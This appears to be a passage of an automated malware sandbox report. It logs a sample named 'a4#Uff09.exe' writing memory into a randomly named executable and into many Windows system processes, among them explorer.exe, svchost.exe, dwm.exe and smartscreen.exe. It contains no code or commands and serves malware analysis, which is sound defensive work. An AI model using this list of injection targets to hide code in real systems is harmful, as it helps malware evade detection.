Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1250000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1450000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2610000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 30E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2650000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 26A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2890000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 510000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2900000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 720000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1470000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1480000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2870000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2220000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2600000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 4F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 3C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 990000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: F20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: BE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 960000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 110000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 130000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 1F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 260000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 3D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: F40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: BF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 970000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 120000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 140000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dllhost.exe base: 200000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 270000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 3E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: F50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 40000 Jump to behavior
